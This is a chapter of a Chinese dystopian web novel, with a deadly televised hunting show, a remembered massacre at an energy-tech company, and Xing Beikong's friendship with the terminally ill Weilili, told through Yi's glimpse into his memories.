殇慢慢睁开眼睛,看到昏暗的藏书室内开着一扇门,明亮的灯光从门后照了进来,戴安娜就静静地站在门旁注视着他。清醒过来后,殇立马站起身来,发现身上有很多灰尘。殇拍了拍灰尘,然后走向那扇门。戴安娜见了,后撤几步给他让开了道。走出藏书室的时候,戴安娜问殇: “怎么样?在真理图书馆逛了一圈,有何感想啊?” 殇挠挠头,回答她: “感想吗......就是那地方太大了,各种事物都有,就跟一个新的世界似的。我逛了大半天才走完,腿都走酸了!” “那你这一趟下来守护不少啊。她呢?还留在那里吗?” “她说要避避风头,就留在那里了。” “哦。——那你出来应该是有什么事吧。” “有啊。我今天还没干活呢。我得赚些钱去。” “哦。那好吧,祝你赚钱愉快。” “好。祝你生意兴隆。” 说完,殇就快步离开了这间图书馆。殇走后,戴安娜看着殇的身影,表情十分严肃。她打了个响指,拿出了一本名为:殇的书。她拿着这本书仔细看了一番,然后她合上这本书,将它塞到了某个隐秘的角落之中。做完这些,戴安娜心情复杂地说道: “原来是您吗?真是意想不到啊。虽然我不能向你亲口诉说,但我可以在心里向您保证,您的书将不会被任何人看到。你的秘密将会在我的心底腐烂,没人能知道。” 与此同时...... 那档名为时间流逝中的节目还在继续,现在已经有78位挑战者被猎杀掉了。主持人在舞台上慷慨激昂地念着每位挑战者挑战失败时的姿态,描述着杀死他们的猎人是怎样的强大与聪慧。这个节目的收视率稳高不下,几乎将其他频道的收视率都抢了过来。很多人都沉浸在这个节目的紧张的氛围之中,尤其是榜上有名的那些挑战者。随着一个挑战者的倒下,荧幕前的人并非是为其惋惜,不是去谴责节目组的不人道,而是在那里欢呼。似乎这被杀死的是他们心中的不满与仇恨,而非一个活生生的人。刀光血影之下,是一个生命的离去与一旁见证人的欢笑。 在舞台的后面,极少数的一部分人正操纵着这个节目。他们有权有势还有钱,只是因为想要寻求刺激与乐子,就去用钱来诱导猎人们去对着他们感兴趣的目标下死手。看着一个小白鼠被各种酷刑折磨致死,对于他们来说没有看一个努力活着的人被飞来横祸剥夺去生存的权力要刚让他们觉得快乐与刺激。这极端的残忍,铸造了他们虚伪的欢乐与腐朽的灵魂。开一杯美酒,身旁陪着几位美人,再加上一桌不错的宴席,生活是多么“滋润”。打开昂贵的高清电视,去看熟悉的喜剧真人秀节目;看着那些挑战者尝尽了各种痛苦后死去,竟能笑出声来。那血腥到令人恶心到能把隔夜饭吐出来的景象,却是笑点。这着实是讽刺!明明是没有疫病感染,却能做出比发疯的感染者还有残暴的事情!这真是天下最大的讽刺! 这档节目其初衷就不是为了大多人的欢乐而设立的,而是为了隐藏在阴霾之中的少部分人的欢乐。 一个只有十六岁的妙龄少女,正在坐在公园里的长椅上看风景。她怀里抱着一只兔子玩偶,脸上正洋溢着快乐的笑容。不知不觉背后出现了一群人,她听到声音转头去看。那群人看着她,看着她那天真无邪的眼神,惊人丝毫没有犹豫...... 主持人: “挑战者101号,梅梅,挑战失败。” 狂风呼啸着,似一只雄鹰一般掠过大地,卷起浪花与尘土。滴答滴答,是什么在响?风很大,但却听得很清楚。一个老人慢慢走来,脸上多出了一丝惊恐与害怕。滴答滴答,是水在滴?是钟在响?不,是血在流。老人绝望地低下头默哀,他没能挽救这个生命。风在呼啸,也在哀嚎,也许是上帝触怒了罢。不一会,空气中弥漫起了血腥味。那个老人捂住鼻子,鞠躬道别。很快,清理者寻着这股血腥的味道找到了这里。当看到眼前的景象时,他们叹了口气,无奈地说道: “除了血液没有可以回收的。” 一阵清理过后,这里干净的就跟什么没发生过一样。在这个长椅旁边,有一朵即将凋零的小太阳花。太阳花的花瓣上被她的鲜血染红了一片,看起来没有原来那么好看了。在这朵花凋零的时候,花瓣虽风飘零。它殊不知,自己的一片花瓣竟成了一个生命的坟墓。那片染着血的花瓣落入土中,慢慢下陷,在大地的分解下消失得无影无踪。 “悲惨,属实是悲惨啊。人死了竟会是以一片花瓣作为坟墓,属实是悲哀啊。除了林书妤,还有那个人能幸运到躲开这无端之灾厄呢?” 旅者突然出现,看着那朵凋零的太阳花说道。旅者看了看四周,发现这周围寂静的很,没有任何嘈杂的声音。旅者一个瞬间移动拿来了一朵玫瑰,轻轻地放在了长凳上。旅者闭上眼,默哀一会。此时的风不再呼啸,似乎是感应到了旅者的心意。清风慢慢地吹,轻抚这片土地上的生灵身上的伤疤。 过一会,他睁开眼,很深情地说道: “姑娘,一路走好。等我完成了大业,我保证不会再有想你一样含着冤屈下九泉的人存在。我保证!” 旅者一个瞬间移动消失了...... 那朵玫瑰花静静地在长凳上躺着,几滴水从花瓣上流下,似乎是这朵花的泪。 ...... window.fkp = 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伊走在街上,感觉这今日的城市变化还不止如此。天空中多了很多快速行驶的悬浮车,那些悬浮车上都有龙辉神匠的标志;大街的上能看到一群一群身着红色加绒金龙纹大衣的人正在大街上寻人,他们拿着各式的兵器与枪械,看着气势汹汹的。在街上行走,伊有些提心吊胆的,很怕那些人认出自己来会将她活捉。街上的温度慢慢降低,紧张与压迫感渐渐涌上心头。就在这时,几个身着红色西服的协会成员出现在伊前方十几米处,他们个个都手握红色热能刀,那猩红色的光芒让伊觉得不安。就在这时,一只手突然抓住她,将她一把拉进巷子里。她被吓了一跳,本能地就要叫出声来。啪的一下,一只手捂住了她的嘴。 “嘘......” 伊转头看向身旁,发现是一个蓝头发的人捂住了她的嘴。那个人探出头张望了一下巷子外的情况,发现那几个红装协会成员没有注意到伊以及周围没有人注意伊。确认周围安全,他把头伸了回来。他放下捂着伊嘴巴的手,擦了擦额头上的汗,然后一脸轻松地对伊说: “伊小姐,你好啊。很抱歉以这种方式与你见面。刚刚的情况是在是太危险了,差一点你就被那些协会成员捉走了。” 此时,在伊面前的是一位风度翩翩的蓝发男子。一件淡灰色的衬衫搭配一件黑色猎人大衣,一条深灰色的猎人长裤配上黑色的皮鞋,在加上他胸前的海蓝色花纹领带与手上的黑色手套,就像一位去打猎的绅士一样,庄重与严肃中透露出优雅与高尚。仔细一瞧,还能看到衬衫上淡淡的银线所汇聚而成的一朵盛开的菊花;这朵菊栩栩如生而精美绝伦,盛开时的英姿清晰可睹,让人不禁夸赞裁缝与设计者的聪慧。深沉的黄色中偏些白,这是他皮肤的颜色。大海的颜色,是他头发的颜色。头发虽不长,但弄得有模有样,精致之中透露着优雅与个性。他的瞳色是午夜的蓝色,有神而又深邃,似洋下的深渊般深不见底,但其中泛起微微星光,是繁星陨落在这深渊之中。细眉弯眉与一抹优雅的微笑搭配在一起,表现出了温柔与和善。他的个子很高,大约比伊高出了半头。他的身板很直,站姿很是优雅。就是放松着站,他也无时不刻都在散发着优雅的气息。不过不要大意,他的腰间还别着把银光泛泛的手枪。这个集合了优雅与帅气的男人,正面带微笑地看着伊。 伊从刚刚的事中缓过神来,马上露出笑脸,对面前的这个男人感谢道: “谢谢,谢谢......” 他转头看了巷子深处一眼,思考了半秒,又转过头来,跟伊笑着说: “伊小姐。今天不知你可有时间?鄙人冰水绣球,想找你聊些东西。” 伊身颤一下,顿时间,她的心里多了很多顾虑,很怕自己被人蒙骗而让殇操心。但当伊看到他那真诚的眼神时,打消了心里的顾虑,决定去相信他。伊用坚定的眼神回应他的真诚,并微笑着告诉他: “可以。” 见到伊答应,冰水绣球满意地点了点头,然后领着伊向巷子的深处走去。越是往里走,这周围就越是黑。伊有些怕黑,就本能地握起双手,边走边观望巷子里的情况。见到伊怕黑,冰水绣球轻声安慰她: “伊小姐,坚持一会,我们马上就到地方了。” 伊点了点头,回应他: “好。” 走到目的地的时候,周围的光线十分昏暗。伊只能依稀看到面前有一扇仓库的铁门。冰水绣球拉开了这扇铁门,走了进去先点亮了灯。见到面前有光,伊赶忙走了进去。咔哒一声,伊身后的铁门突然关上。这时,伊看清了这间仓库的布局。仓库内放着各种武器与盔甲,多是放在架子上集体展示。伊看得有些走神,突然冰水绣球叫了她一声。 “伊小姐,别看了,这边是我们谈话的地方。” 听到声音,伊转头看去,发现冰水绣球站在仓库一侧敞开的一扇门前。伊见了,赶紧跑了过去。走过这扇门,是一间密闭的小酒吧。酒吧里空无一人,但灯是亮着的,似乎这是属于冰水绣球的私人酒吧。走进酒吧内,伊找到一个小沙发处坐下。坐下后,伊用好奇的眼神去环视这间私人酒吧。从装修与风格来看,这里是属于现代风格的高档私人酒吧,能看出冰水绣球的个性与风格。此时,冰水绣球将一块放在小盘子的奶油蛋糕放在伊前面的小桌上,还为她拿来了刀叉。伊见了,笑着感谢道: “谢谢你的好意。冰水绣球先生。” “别客气,吃吧。” 冰水绣球很自然地说道。伊有些不好意思,但想在这个蛋糕很贵,再加上是冰水绣球的一番好意,她就拿起刀叉小口吃了一块。这个蛋糕的口感松软,配合上奶油的香甜,是极佳的甜点。于是乎,伊又吃了一小口,仔细去品味这个蛋糕。冰水绣球见到伊一脸满足的表情,高兴地笑了笑。他笑着对伊说: “你的表情很是享受吗,是被这个蛋糕所征服了吗?” “嗯嗯。” 伊点了点头,告诉他。 “白苏格陪玛瑙珍珠,上百的高档甜点,口味一绝。” 一听这蛋糕是上百的价钱,伊立马放下了手中的蛋糕。冰水绣球见了,笑了笑,说道: “伊小姐,你真可爱。吃吧,不用客气。” “好吧。我接着吃。” 伊再次拿起这个蛋糕,一小口一小口地吃。这时,冰水绣球从柜台的抽屉里拿出了一张照片。这张照片是冬季拍摄的,上面是年轻的伊娜抱着伊在沃兹河前微笑。冰水绣球看了一眼照片,又看了一眼伊,轻轻地摇了摇头,小声说道: “变化可真大啊。” 他放起这张照片,漫步走到伊对面的小沙发上坐下。他靠在沙发上,面带微笑地看着伊。恍惚间,他能看到伊娜的身影与伊重叠在一起。虽然发色与瞳色的差距,但两人的神色几乎完全一致,就连一举一动也惊人地相似。片刻后,伊吃完了这个蛋糕。她将盘子和刀叉轻轻地放在小桌上,然后从小桌上的纸抽内抽了一张纸擦了擦嘴,接着很优雅地扔到了小桌旁的垃圾桶里。见到伊吃完了,冰水绣球决定开始聊正事了。 谈话前,冰水绣球从口袋里拿出了东城帮的图文章,轻轻地放在了桌上。看着这个图文章,伊问他: “这是什么?” 他很自然地回答道: “这是我们东城帮的图文章。” “东城帮?那是什么?” “那是一个小的都市猎人组合的名字。它是由我、姐、绿草组成的,就三个人,但十分团结。” “哦哦。” “顺便在此重新自我介绍一下。我叫星北空,冰水绣球只是我的一个称号。仅供帮内的三人互叫,除了姐的。姐的称号是每个人都那么叫的。” “哦。那其他两人的称号分别叫什么?也是花类的吗?” “你不仅可爱,还很聪明。猜对了。” “好耶!” “哈哈哈,好了,我继续说。姐她的称号是血浸玫瑰,绿草她的称号的是阳光绿草。” “都挺好听的!——诶,对了!你姐的名字我听过,查尔拉之前说来着。” “查尔拉?哈哈,看来你已经见过姐的妹妹了。” “没错。查尔拉还说要改天请我吃饭呢。” “我曾与伊娜前辈有过一面之缘,不过我那时才12岁。因为我知道伊娜是为了救济苍生的英雄,所以我以她为儿时的榜样。一直到了现在,我的初心仍旧没有改变。” “哦。那你可真是太幸福了。” “伊小姐,我知道你的体内有着光之种子。那是前辈伟大的心血结晶,你我都知道它的重要性。它是能打开希望之门的钥匙,是能拯救世界于水深火热之中的秘药。” “对的。” “你不用担心我会为了这个种子和那高昂的赏金去抓你哦。比起金钱所带来的短暂的快乐,我更希望看到世界上开满了希望花。” 听到星北空这么说,伊的心与他产生了共鸣。两人的意志似乎是一致的,都是希望这世界能走向更好的未来。伊含蓄片刻,正准备说些什么。突然,星北空看她的眼神变得疑惑起来。伊以为是出了什么事,猛然发现,奇异的光芒再次出现在她的周围。星北空与之前的那些人不一样,他能看到这奇异的光芒。看到眼前的奇异光芒,星北空笑着对伊说道: “看来伊小姐你,是有些超能力的哦。” 星北空欣赏着这奇异的光芒,不知不觉间,他的脸上洋溢起了笑容。曾经儿时仰望星空的那种激动与好奇,此刻已然回到他的心上。从那奇异的光芒之中,星北空看到了星空与希望。 一道耀眼的光芒闪过,伊的眼前出现了星北空的记忆世界...... 那时,星北空是源能核心公司的一位主管,同时他也是这个公司现任董事长的亲生儿子。不过他能混到今天这个地位,靠的不是关系,而是自己的努力,公司里的人有目共睹。后来因为自己的老爹年事已大,董事长之位不得不换人。在重重票选之下,最后是他坐上了这个位子。当时,他只坐了三天就发动二次票选,让自己的好兄弟椿木一马坐上了这个位置。上位后,椿木一马立志带着全体员工向着更美好的明天进发。通过他优秀的管理能力与员工的奋斗,争取早日壮大,力争成为这世界上第十三个奇点公司。 源能核心公司的核心科技是新型核心装置(SEcd),这是一种还为成熟的新型技术。在技术人员规划的拟定蓝图中,这种核心将是能取代传统核心装置Emd的存在。它具备更强的稳定性与更小的污染,可以减少因核心暴走而引起的暴动的发生;同时具备更强的可塑性与发展性,佩戴者佩戴后只需一个半月就可以领悟到一定的核心能力,而非是需要外界帮助或长时间的等待;最重要的是,它的价格将约是Emd的三分之一。从各种方面来说,SEcd都十分优秀。 就这样,日子如火如荼地过了下去。但这种日子没有维续多久,只持续了短短的97天。在一个带着面具的中年男子来到我们公司的那天,这一切都随着他的到来而发生了改变。 他来公司的时候正赶上过年前的最后运营日。那时董事长椿木一马和她的未婚妻公司正在与全体员工恭贺新年,他一来,公司里就更热闹了。他是椿木一马的父亲,椿木武宪。就在这热闹之际,星北空突然接到了一通电话,是他弟弟打来的。为了去接自己的弟弟,他就先请了个假,然后驾车离开了。可他没想到,这一走,竟再也没回来。 刺耳的吉他声回荡在公司的每个角落,一首激昂的乐曲响起,震慑八方。不仅是公司内,在公司外的很大一部分区域之中,也回荡着这激昂的乐曲。激昂的乐曲打破了这喜庆的氛围,让公司上下每个人都陷入了迷茫的境地。突然,只听得广播内,突然传出了一个男人深情的吟诵。 “我将以血色作为玫瑰,送给一去不复返的你!我将以身躯化作烈火,焚尽这无边的苍穹!听啊!夜曲奏响了!听啊!多么美妙啊!亲爱的,这是我送给你的挽歌!你将在天堂聆听,我将在地狱燃烧!” 公司的大厅内出现了一个全副武装的男人。他穿着蓝色燕尾服,左手拿着一把魔剑,右手拿着一把纹有铃兰花的长剑。 只是片刻过后,大厅内的墙壁与地面上被刷上了一片片的血色,遍地尸骸堆积,痛苦与狰狞遍布他们的脸;血液凝结成雾水,顿时血雾弥漫。整个大厅内的所有人员无一幸免,全体遇难。除了那些活着的人,公司内所部属的所有战术人形与保卫者机器人全部被这个男人斩成碎块,与那些死去的员工一起倒在了血泊之中。大厅内弥漫着血腥的气味,血雾染红了大厅内用来装饰的植物,那个男人提着沾血的剑,正如死神一般在堆满了尸骸与机械碎块的大厅中行走。监控室的工作人员看着他正逐步走向公司的电梯,此时已经是吓破了胆。 所幸那时星北空在机缘巧合之下离开了公司,这才躲过了这场灭顶之灾。后来为了抢救公司财产,他和胡狼等人在一切都归于平静之后回到了公司内。当时公司内的景象,他这辈子也没法遗忘。昔日的朝气蓬勃已经变做了血腥至极的人间炼狱,血腥味与恶臭弥漫在这个曾经到处都是希望气息的地方。电梯内的尸体已经被清理走了,但根据留在现场的金手镯与金戒指,能够推断出椿木一马的未婚妻死在了电梯里。越往上走,公司内就越是混乱,那景象就越是血腥,那血腥味与恶臭就越是浓烈。为了抢救公司的财产,星北空启用了隐藏的电梯,来到了公司地下区域的实验区。所幸那个死神并没有来到这里,这里所有的科研人员都健在,这里的核心产物也都还在。 那次事件之后,源能核心公司宣告倒闭破产。公司所遗留的最后的一千万,落入了星北空手中。为了成就大家的梦想,星北空在故土秋山国的一个秘密地点建造了一个研究所,将这最后的一千万全部投入到源能核心的研究之中。他的老爹因为这次事件,气得脑出血,早一步离开人世了。家里的家产由他老爹分配,他分得了一半,总计大约六千八百五十万。他将这笔钱进行了合理分配,并将一部分封存了起来,以便日后使用。 由于该技术与传统Emd技术有冲突,所以他在失去了权势之后遭到了碧蓝世界公司的热烈关注。为了确保计划能够顺利进行,他花钱贿赂了控制筛选的都市之手,让他们将自己流放到了东玲国。以此来让碧蓝世界将视线汇聚到他身上,防止碧蓝世界对研究所不利。 到了底层区域,他花点小钱跟一个都市猎人换了身份,让他们一家整体搬迁到了地平区。又花了点小钱塑造了下自己的8阶都市猎人的形象,让这里的所有人都相信他是个不好惹的狠角色。但事实上,他来这里就杀过一个主动挑事的混混。 来到底层之后,他第一个认识的是茵萌萌。两天相遇是因为一场有关斯特迪罗家族内部叛徒的事之中,他那时正好也在处理此事。那时他正好在路上碰到了她被几个叛徒在巷子里绑了起来。出于好心,他帮茵萌萌解了围,从此就被这个绿头发的傻姑娘加cp头子拉进了斯特迪罗家族。念在他帮茵萌萌有功,家族的几个话事人就让他加入了家族。由于茵萌萌是斯特迪罗家族最具象征性的话事人薇莉莉的搭档,所以他进了家族之后,就被薇莉莉重点关注。由于他那不凡的气质与高超的人际交往能力,他在这个家族里几乎跟所有人都打好了关系,除了薇莉莉。薇莉莉见到他有这番实力,就把他强拉到了自己那边,想为之重用。后来他们三人成了个组合,叫东城帮。之后他就有了冰水绣球这个名字。 跟着薇莉莉混,他也被迫做出了很多改变。例如本不习惯烈性酒品的他在薇莉莉的“好心邀请”下也会去喝了。曾经对战斗一窍不通的他,也在薇莉莉的魔鬼训练下也会了很多。原来他从不去骑摩托车,害怕出事故,但到了薇莉莉身边后,他为了跟薇莉莉打好关系,不得不去学。到了薇莉莉身边之后,他竟有一种特殊的安全感。他曾目睹过薇莉莉与人战斗,也就是在那时,他才明白女武神是个什么概念。薇莉莉有着一颗守护别人的恒心,也有一颗为别人奉献的心灵。她总是去关心别人,而很少去关心自己。帮忙什么的,她总会去帮别人;但自己遇到了什么麻烦,却不开口寻求帮助,除非是你主动帮忙;但就是你的主动帮忙,她也得拒绝三番。薇莉莉是星北空见过最高的女生,她的身高比星北空要高上一点;同时也是他见过性格最暴躁与战斗机巧最强大的女生。如果他在薇莉莉面前说错话了,他就免不了挨几拳头,有时甚至会被她给打一顿。不过当他站在薇莉莉旁边的时候,总能感觉到十足的安全感。 某一天,他在薇莉莉所开的开的烧烤店里跟薇莉莉闲聊的时候,意外聊起了有关食物的话题。聊天中,星北空了解到平时在除了酒和烟以外的其他方面都很节俭的薇莉莉,竟然跟他一样也是个吃货,这倒挺令他惊讶的。对比起他,薇莉莉在食物这方面的了解相对甚少,因为家境与所处地域的原因。聊着聊着,就突然聊到了她那边。 星北空有些好奇地问薇莉莉: “姐,你截止到现在还有什么追求的食物吗?” 薇莉莉想了想后回答道: “追求啊......更好吃的肉串子以及烤腰子。要么是火锅或者披萨,芝士与蛋糕什么的也不错。” “看来姐比较注重热食啊。” “对呀。你说那烤串不香吗?热点总比凉点好。” “那的确是事实。” “要说是追求......那也就是巧克力了。” “巧克力?” “对。那棕不拉几的玩意我这辈子就吃过一次,还他妈一半就扔了!真是浪费啊!那玩意是我小时候我爸给我买的,据说是挺老贵,能顶半个月工钱。是真他妈的贵啊!不过......还真好吃,挺甜的。” “哦。姐,你还想回味这种味道吗?” “不想!因为那味道会让我回想起我爸那张臭脸!他这家伙不管我妈,这辈子就回家过四回。第一回是我出生的那天,第二回是我妹妹查尔拉出生的那天,第三回是我成人过生日那天,第四回是我妈死的时候。下一次回来,就他妈的是我或者查尔拉死的那一天了!” “你对他还抱有恨意吗?” “有!苦海深仇。我妈病了,难受的时候,是我和妹妹陪着的。他真他妈是个丧良心的家伙!要是能见他一面,我指定得好好揍他一顿!不仅如此,我还得让查尔拉跟我一起去揍,揍到他不能自理为止。” “我觉得你应该跟你父亲见一面,你们两个得好好聊聊。也许你的父亲有什么难言之隐呢。” “难言之隐?有什么事能比家重要?!操!都是出去鬼混找的理由罢了。” “对了,姐。你的生辰是何日啊?” “啊?” “我的意思是你的生日是什么时候。” “哦。明天。你问这个干什么?” “没什么,只是好奇。” “哦,对了。我生日那个晚上,你过来陪我喝酒。我、你、萌萌还有查尔拉,咱们四个喝点烈的。” “好。” 到了晚上,星北空在自己的房间里思考。他拿出了一份目录,从目录上挑选了口感最好的两款皇家级巧克力,一块白的,一块黑的。在夜深人静的时候,他给胡狼打了个电话。他吩咐胡狼去买他挑的这两块巧克力,要求一天之内就送过来。如他要求的那样,送货的在早上就用无人机送到了他的屋内。他赶在薇莉莉出门之前,先去买来两瓶较贵的啤酒,然后就拿着这两块巧克力和两瓶啤酒在门口等待。 等了一会,薇莉莉开门准备离开家。这时,星北空就笑脸相迎了过去。见到星北空这样,薇莉莉的表情很是疑惑。星北空笑着对薇莉莉说: “姐,生日快乐。这是我给您买的礼物,望您收下。” 薇莉莉后退几步,给星北空让开了路,然后说道: “进去吧,东西茶几上。” 星北空走了进去,然后手中的巧克力和啤酒放在茶几上。薇莉莉看着这些礼物,有些不解地问道: “那两个方方正正的盒子里放的是什么?” 星北空笑着解释道: “姐。那里面的是一黑一白的两种巧克力。” 薇莉莉的脸色瞬变,她走到星北空身旁,狠狠地掐住他的耳朵,一脸严肃的质问道: “你是在给我找堵是不是?” 星北空忍着痛回答道: “疼疼疼!姐,我不是那个意思。” 薇莉莉语气强硬地质问道: “那你是哪个意思?!是想用这些来贿赂我是吗?” 星北空客客气气地回答她: “不不不,姐。你是贿赂不了的人!你的心如明镜般清澈,所行之事都是由得道理的。” 薇莉莉松开了手,星北空捂捂耳朵,缓了一下,然后重新露出笑容。薇莉莉一脸不乐意地说道: “算你嘴好使。不过那种东西我是不带要的,你拿回去自己吃吧。” 星北空拿起自己带来的啤酒,轻轻摇了摇,笑着说: “姐,还赠送啤酒哦。” 薇莉莉的表情放松了些,似乎是妥协了,但态度依旧强硬。薇莉莉对星北空说: “行吧。那我就收下你这好意了。” 那天的晚上,她们四个喝了很多酒,到最后倒了两个,就剩星北空和薇莉莉还没醉倒过去。由于有胡狼提供的酒精阻断剂(一种可以让酒精不被人体吸收,直接通过尿液排出的高级药品)的帮助,星北空没有多醉;除了一开始喝的那两瓶以外,其他的他都通过阻断剂来抵消掉了。薇莉莉和他都喝的脸通红,而且都显出了醉意,但星北空的醉意是装出来的。喝着喝着,薇莉莉就喝不下去了,她迷迷糊糊地怼了星北空一拳,然后用手搂住了她。星北空见了,用装作醉了的语气问道: “姐?用......用我......扶你......回去吗?” 薇莉莉迷迷糊糊地嘀咕道: “不用......” “你都醉......醉成那样了。” “我要......我要在这......一醉方休......” “不行......不行,这里......这里晚上冷。” “骗子......星北空,你个骗子......” “嗯?” “你跟本就没醉......没有人醉了......还能说......说出这样的话。” “姐......” “骗子......你就是个大骗子!你不想骗走我的钱......你想骗走我的心......哈哈哈......骗子......大骗子......” “姐,你在说什么?” “你不属于这里......你是其他地方来的贼......” “姐,我扶你回去吧。” 在路上,薇莉莉一直在嘀咕这句话,似乎是无意识的。嘀咕着嘀咕着,在走到一个拐角的时候,她吐了,吐了星北空一身。星北空虽是一脸嫌弃的表情,但他还是忍着难受扶着她一路往回走。等公寓内,薇莉莉已经不再嘀咕了,似乎是睡着了。星北空先是扶着她去到了自己的公寓,然后将她小心翼翼地放在沙发上,接着就去换了身干净的衣服。换完衣服,他将薇莉莉扶回了她家。为了防止薇莉莉着凉,他将薇莉莉放在了她卧室的床上,然后很温馨地给她盖上了一层被子。走时,他留意到她卧室的桌子上有着一块被咬了一口的黑巧克力。他满意地笑了笑,然后离开她家,去喝酒的地方里将其他人给扶回来...... 在这里的日子不算很好过,但是每天都能有些乐趣。他一边在这里做着给人服务的都市猎人,一边时刻关注源能核心的研究进度。每隔一段时间,他就会突然失踪一段时间,去郊区与自己的手下胡狼和貔貅见面。每见面一次,他都会觉得有些惋惜,每次见面都在告诉他离回去的那天越来越近。在计划完成的那天,他将无声地告别这熟悉的一切,去投身于希望的建设之中。终有离别时,因此他更加珍惜与萌萌与姐在一起的时光。 薇莉莉是个很要强的人,她从不愿让别人看到她软弱的那一面,包括她最好的朋友茵萌萌和星北空。有一天夜里,薇莉莉突发恶疾,差点就交代过去。当时是星北空先发现的这个情况,他立马叫上茵萌萌,打着车将薇莉莉送到了医院。等结果单下来,才得知薇莉莉得了一种罕见的家族遗传病。这种病是致死的,而且每次发病都是痛苦的过程。据医生所言,薇莉莉最多还能活六个月。这个消息无疑是晴天霹雳,对于所有人来说,这都是莫大的悲伤。但对于薇莉莉来说,她却没觉得伤心,甚至在茵萌萌为此流泪的时候,还跑到茵萌萌身边安慰她。这些星北空都看在眼里,薇莉莉的坚强着实打动了他。星北空清晰地记得,在安慰茵萌萌的时候,薇莉莉说了这么一句话让他印象深刻。 “没事的,我起码还能快快乐乐地活六个月呢。陪着你和北空一起。” 在这之后,星北空犹豫过,盼望过,也苦恼过。本来希望源能核心快速研发出来的他,突然希望能晚点再研发出来,因为时候一到,他就得离开。离开时,他不能跟任何人说再见,甚至连离开时的背影都不能给留一眼。他明白死亡对于一个人来说意味着什么,是一段故事的终结,是一个生命的凋零,是无数颗被牵连着的心的破碎。他决定在薇莉莉最后这段时间里,好好陪陪她,帮她满足一些愿望。 在深夜的时候,他总是悄悄起来,推门出去到走廊里站一段时间。在听到薇莉莉的房间传出任何动静的时候,他就会耳贴墙壁去听房间里的声音。有时,是薇莉莉的哭声,似乎她有一颗纤细的内心。有时,是她痛苦的低语,似乎在与病魔做斗争。有时,是她喝醉后的怒骂,似乎是在对自己命运的不满。听到这些声音,他首先是心痛,后来是惋惜,最后是祈祷。心痛,因为她有苦自己尝;惋惜,因为她在花一样的年华之中就要面临死亡;祈祷,祈祷她能多些时日。 在薇莉莉难受的时候,他总会去登门问候,并为她带来些能减缓她痛苦的东西。虽然她总是用强硬的态度来回应星北空的善意,用冰冷的话语刺痛他的心灵,但他没有一刻怪过她。星北空对她的包容与善意,始终没有变过。有时在他没去的时候,茵萌萌就会去。在星北空不在的时候,茵萌萌就会去关心薇莉莉。也许是过去对她造成的影响,她对茵萌萌的态度要好于星北空。似乎是在刻意回避着什么。她的冷漠是有温度的,这点星北空很明白。 后来星北空在私底下才从茵萌萌那里了解到,薇莉莉对自己如此冷漠,只是因为怕自己连累到星北空。 为了治好薇莉莉的病,他在私底下委托手下去找医生。无论要花多少钱,他都要让薇莉莉好起来。他不想留下遗憾,更不想在离开之后留下一片苍凉。他相信希望,他相信会有办法能治好薇莉莉的。 星北空: “是缘分让我们每个人能在这世界上相遇,你们都是上帝送给我的礼物。虽然我们的缘分只能维持短暂的两年,但你们的身影将永远存在于我心中的那片沃野。无论何时何地,我都会记得你们。” 一道耀眼的光芒出现,将伊拉回了现实。 星北空在一旁静静地喝着茶水,一脸平淡地等待着伊回过神来。突然,伊的眼睛由金色变回了原来的红色。星北空见了,笑着问道: “伊小姐,你都看到了什么?” 伊的表情有些凝重,她沉默了片刻,然后告诉星北空: “你的记忆......” 星北空听了,不急不慢地喝了口茶水,然后优雅地放下茶杯,问道: “哦?是吗。” 伊有些不安地问星北空: “你不介意吧......如果你想的话,我可以去努力忘掉那些。” 星北空很平淡地笑了笑,告诉伊: “不用了。伊小姐。既然你看到了那些,那就记住它们吧。” “你不介意的吗?” “当然了。故事吗,人人都有。而且,你看过那些,我们的聊天会更加流畅与自然的。说不定,伊小姐你还能是我的一个知己呢。” “哦。您可太大度了。” “作为男人,就得这样。” “对了,星先生,你对薇莉莉有什么想说的吗?我想了解一些。” “你说姐啊......她是个漂亮的高个子且强壮的女人,善用各种武器击打敌人,脾气暴躁且十分倔强。她的嘴笨,不会说好话,也不会去关心人,老是一语惊人或者伤了别人的心。” “茵萌萌呢?” “她啊.......她是个绿藻头的可爱姑娘,喜欢说骚话,老是能让我陷入尴尬。而且她还是个cp头子,会神奇的‘魔法’,家族内的有好几对都是她撮合成的。” “哦。——对了,那个毁掉你们公司的男人是叫齐百陵吗?” “没错。” “你恨他吗?” “恨倒是没那么恨了,毕竟事情都已经过去那么久了。而且他已经奔赴黄泉了,那些罪也跟着一起沉淀在黄泉下了。” 此时,伊开始犹豫要不要将齐百陵活着的事实告诉他。 伊心里: “我到底要不要告诉他事实呢?可说出来了,我怕他会找齐百陵复仇。那样会让卡娜铃兰姐姐伤心的......算了,就不告诉他了。” 伊决定不告诉他。接着,她继续跟星北空聊天。 “星先生,源能核心到底是怎样的?” “这个吗......保密哦。” “好吧......” “星先生,你能告诉我薇莉莉还有多长时间吗?” 星北空喝了口茶水,面色凝重起来。他看了看时间,此时已经是下午两点多了。他一脸惋惜的样子,轻声告诉伊: “早些,三十天。晚些,两个月。” 伊听了,捂起嘴来,一脸的难以置信。见伊这个反应,星北空喝了口茶,无奈地叹了口气。惊讶之余,伊更多是惋惜。伊问星北空: “有办法可以挽救这一切吗?” 星北空意味深长地回答: “得看运气了。如果世界上真的有医生能够医治这种疾病,那么一切都可以挽救。” 伊双手相握,闭眼祈祷道: “希望真的有这样的医生。” 星北空对着伊露出了一抹欣慰的笑容,接着说道: “伊小姐,谢谢你的好意。” 时间匆匆流逝,此时已经是下午三点。由于时间缘故,伊不得不结束与星北空的谈话。星北空将她送到了巷子,之后驻足巷口与她道别。在见到伊的身影消失在街的尽头后,他转身走进巷子,回到了自己的私人酒吧之中。回到酒吧后没多久,茵萌萌就给他打来了电话。 星北空: “喂?萌萌,有什么事吗?” 茵萌萌: “嘿呀!北子哥,你现在干啥呢?” 星北空: “我现在正在休息。怎么了?发生什么事了?” 茵萌萌: “哦~~~我这边在处理事物,在找龙辉神匠的那个小丫头。” 星北空: “注意点的安全哦。” 茵萌萌: “好的呢,北子哥。” 星北空: “对了,姐现在干什么呢?” 茵萌萌: “姐现在正处理野犬那边的事呢,据说是打起来了。” 星北空: “瞧姐这暴脾气,和平谈判直接演变成直接斗争了。” 茵萌萌: “可不是吗。那什么,我这边有点忙,我先挂了。” 星北空: “拜拜,萌萌。” 挂断电话后,星北空沏了杯茉莉花茶,然后边喝茶边去想未来的计划。在这间属于他的私人酒吧内,他正享受着宁静。 ...... 